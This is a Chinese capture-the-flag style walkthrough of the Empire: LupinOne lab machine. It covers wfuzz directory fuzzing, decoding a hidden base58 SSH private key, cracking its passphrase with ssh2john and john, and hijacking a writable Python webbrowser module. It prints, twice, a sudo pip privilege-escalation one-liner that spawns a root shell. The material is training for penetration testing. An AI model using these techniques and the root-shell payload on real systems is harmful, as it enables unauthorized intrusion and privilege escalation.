小H靶场笔记：Empire-LupinOne

2024-01-12 19:12
文章标签 笔记 靶场 empire lupinone

本文主要是介绍小H靶场笔记：Empire-LupinOne，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

Empire：LupinOne

January 11, 2024 11:54 AM
Tags：fuzz，pip提权，ssh私钥
Owner：只惠摸鱼

信息收集

  • 使用arp-scan 和 namp扫描C段存活主机探测靶机ip：192.168.199.141，且80和22端口开放

    在这里插入图片描述

  • 扫描靶机开放端口，进行全面扫描，发现有一个似乎是一个目录。

    在这里插入图片描述

  • 访问一下80端口

    在这里插入图片描述

  • 根据扫到的信息访问一下，发现道路对了。那爆破一下目录

    在这里插入图片描述

    在这里插入图片描述

  • 爆破一下目录，

    • 御剑扫一下

      在这里插入图片描述

      • 发现一个apache的服务器帮助文档

        在这里插入图片描述

      • 再用dirb扫一下，发现两个新得页面

        在这里插入图片描述

        • 一个是jquery

          在这里插入图片描述

        • 一个无权限

          在这里插入图片描述

  • 没有其他发现了，那就还是那个~myfiles目录入手吧，开始扫这个有没有其他页面的

    • 不管是御剑还是dirb都没有什么发现。

      在这里插入图片描述

      在这里插入图片描述

  • 那试试查询一下跟这个格式相关的，因该有其他页面，进行一个暴力破解吧。

    • http://192.168.199.141/~FUZZ

    • wfuzz扫描

      • wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.tst http://192.168.199.141/~FUZZ
        • 扫描的结果由很多错误，过滤一下
      • wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.tst —hw 31 http://192.168.199.141/~FUZZ

      在这里插入图片描述

漏洞利用

  • 访问一下，发现了第二个线索：一个可能是用户名icex64 ，另一个是还有隐藏文件，且是ssh私钥，还有破解密钥的方法提示：fasttrack（这是一个字典文件）

    在这里插入图片描述

  • 继续爆破出隐藏文件，猜测是.txt后缀的隐藏文件（在linux里隐藏文件一般是是.开头）

    • 先试一下是不是不需要加.（发现没有什么东西）

      在这里插入图片描述

    • 再试试加. ，爆出了一个隐藏文件

      • wfuzz -c -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --hc 404,403 http://192.168.199.141/~secret/.FUZZ.txt

        在这里插入图片描述

  • 访问一下，确实是加密过的密文。

    在这里插入图片描述

  • 分析一下密文，发现是base58加密

    在这里插入图片描述

  • 直接进行在线解密，找到了一堆ssh私钥。

    在这里插入图片描述

  • 破解私钥口令

    • 将私钥保存到文件key中，修改权限(600，不能太高，不然可能无法登录）

      在这里插入图片描述

      在这里插入图片描述

    • 使用ssh2john生成hash值

      • ssh2john key > key.hash

        在这里插入图片描述

    • 并使用工具john和字典fasttrack.txt来破解口令

      • john --wordlist=/usr/share/wordlists/fasttrack.txt key.hash

        在这里插入图片描述

  • 得到了密码，再结合之前猜测的用户名，登陆一下ssh

    • ssh icex64@192.168.199.141 -i key（-i 参数用于指定用于身份验证的私钥文件，以替代默认的用户名/密码身份验证方式。）

    在这里插入图片描述

  • 拿到了普通用户的flag

    在这里插入图片描述

提权

  • 查找SUID文件或sudo（无需密码）的文件，发现有一个arsene用户的文件和运行python3，是不是可以直接提权到arsene用户。

    在这里插入图片描述

  • 发现有一个python文件，去看一下。有一个note信息说我们当前的用户可以执行这个文件，查看文件权限发现没有写入权限。

    在这里插入图片描述

  • 查看heist.py文件，发现程序导入了webbrowse。去python目录下看能不能对这个模块进行修改，让它返回一个shell。

    在这里插入图片描述

  • 查找webbrowser模块

    在这里插入图片描述

  • 查看文件权限，发现有写入权限

    在这里插入图片描述

  • 写入获取shell命令

    在这里插入图片描述

  • 切换shell

    在这里插入图片描述

  • 查询 sudo （无需密码）的文件，发现有pip

    在这里插入图片描述

  • 直接进行pip提权（搜一下pip提权漏洞利用）

    TF=$(mktemp -d) 
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py 
sudo pip install $TF

  • 提权成功！

    在这里插入图片描述

pip提权

  • 当sudo -l中有无需密码的root权限的pip文件时
  • 运行下面命令即可提权
TF=$(mktemp -d) 
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py 
sudo pip install $TF

fuzz

  • wfuzz是kali自带模糊测试工具，可以进行模糊目录暴力破解。
  • Wfuzz 中的有效负载是数据源。
    • 这个简单的概念允许在 HTTP 请求的任何字段中注入任何输入，允许在不同的 Web 应用程序组件中执行复杂的 Web 安全攻击，例如：参数、身份验证、表单、目录/文件、标头等。
  • 参数详解

这篇关于小H靶场笔记：Empire-LupinOne的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！


http://www.chinasem.cn/article/598884。

相关文章

【学习笔记】 陈强-机器学习-Python-Ch15 人工神经网络（1）sklearn

【学习笔记】 陈强-机器学习-Python-Ch15 人工神经网络（1）sklearn

系列文章目录 监督学习：参数方法 【学习笔记】 陈强-机器学习-Python-Ch4 线性回归 【学习笔记】 陈强-机器学习-Python-Ch5 逻辑回归 【课后题练习】 陈强-机器学习-Python-Ch5 逻辑回归（SAheart.csv） 【学习笔记】 陈强-机器学习-Python-Ch6 多项逻辑回归 【学习笔记 及 课后题练习】 陈强-机器学习-Python-Ch7 判别分析 【学
阅读更多...
系统架构师考试学习笔记第三篇——架构设计高级知识（20）通信系统架构设计理论与实践

系统架构师考试学习笔记第三篇——架构设计高级知识（20）通信系统架构设计理论与实践

本章知识考点：         第20课时主要学习通信系统架构设计的理论和工作中的实践。根据新版考试大纲,本课时知识点会涉及案例分析题(25分),而在历年考试中,案例题对该部分内容的考查并不多,虽在综合知识选择题目中经常考查,但分值也不高。本课时内容侧重于对知识点的记忆和理解,按照以往的出题规律,通信系统架构设计基础知识点多来源于教材内的基础网络设备、网络架构和教材外最新时事热点技术。本课时知识
阅读更多...
BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点：Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点：弱密码字典爆破 四种方法：   [web][极客大挑战 2019]Http 考点：Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩，我们先查看源代码
阅读更多...
论文阅读笔记: Segment Anything

论文阅读笔记: Segment Anything

文章目录 Segment Anything摘要引言任务模型数据引擎数据集负责任的人工智能 Segment Anything Model图像编码器提示编码器mask解码器解决歧义损失和训练 Segment Anything 论文地址: https://arxiv.org/abs/2304.02643 代码地址:https://github.com/facebookresear
阅读更多...
数学建模笔记—— 非线性规划

数学建模笔记—— 非线性规划

数学建模笔记—— 非线性规划 非线性规划1. 模型原理1.1 非线性规划的标准型1.2 非线性规划求解的Matlab函数 2. 典型例题3. matlab代码求解3.1 例1 一个简单示例3.2 例2 选址问题1. 第一问 线性规划2. 第二问 非线性规划 非线性规划 非线性规划是一种求解目标函数或约束条件中有一个或几个非线性函数的最优化问题的方法。运筹学的一个重要分支。2
阅读更多...
【C++学习笔记 20】C++中的智能指针

【C++学习笔记 20】C++中的智能指针

智能指针的功能 在上一篇笔记提到了在栈和堆上创建变量的区别，使用new关键字创建变量时，需要搭配delete关键字销毁变量。而智能指针的作用就是调用new分配内存时，不必自己去调用delete，甚至不用调用new。 智能指针实际上就是对原始指针的包装。 unique_ptr 最简单的智能指针，是一种作用域指针，意思是当指针超出该作用域时，会自动调用delete。它名为unique的原因是这个
阅读更多...
查看提交历史 —— Git 学习笔记 11

查看提交历史 —— Git 学习笔记 11

查看提交历史 查看提交历史 不带任何选项的git log-p选项--stat 选项--pretty=oneline选项--pretty=format选项git log常用选项列表参考资料 在提交了若干更新，又或者克隆了某个项目之后，你也许想回顾下提交历史。 完成这个任务最简单而又有效的 工具是 git log 命令。 接下来的例子会用一个用于演示的 simplegit
阅读更多...
记录每次更新到仓库 —— Git 学习笔记 10

记录每次更新到仓库 —— Git 学习笔记 10

记录每次更新到仓库 文章目录 文件的状态三个区域检查当前文件状态跟踪新文件取消跟踪（un-tracking）文件重新跟踪（re-tracking）文件暂存已修改文件忽略某些文件查看已暂存和未暂存的修改提交更新跳过暂存区删除文件移动文件参考资料 咱们接着很多天以前的 取得Git仓库 这篇文章继续说。 文件的状态 不管是通过哪种方法，现在我们已经有了一个仓库，并从这个仓
阅读更多...
忽略某些文件 —— Git 学习笔记 05

忽略某些文件 —— Git 学习笔记 05

忽略某些文件 忽略某些文件 通过.gitignore文件其他规则源如何选择规则源参考资料 对于某些文件，我们不希望把它们纳入 Git 的管理，也不希望它们总出现在未跟踪文件列表。通常它们都是些自动生成的文件，比如日志文件、编译过程中创建的临时文件等。 通过.gitignore文件 假设我们要忽略 lib.a 文件，那我们可以在 lib.a 所在目录下创建一个名为 .gi
阅读更多...
取得 Git 仓库 —— Git 学习笔记 04

取得 Git 仓库 —— Git 学习笔记 04

取得 Git 仓库 —— Git 学习笔记 04 我认为， Git 的学习分为两大块：一是工作区、索引、本地版本库之间的交互；二是本地版本库和远程版本库之间的交互。第一块是基础，第二块是难点。 下面，我们就围绕着第一部分内容来学习，先不考虑远程仓库，只考虑本地仓库。 怎样取得项目的 Git 仓库？ 有两种取得 Git 项目仓库的方法。第一种是在本地创建一个新的仓库，第二种是把其他地方的某个
阅读更多...

Copyright China编程 23002807@qq.com

沪ICP备2023033072号-2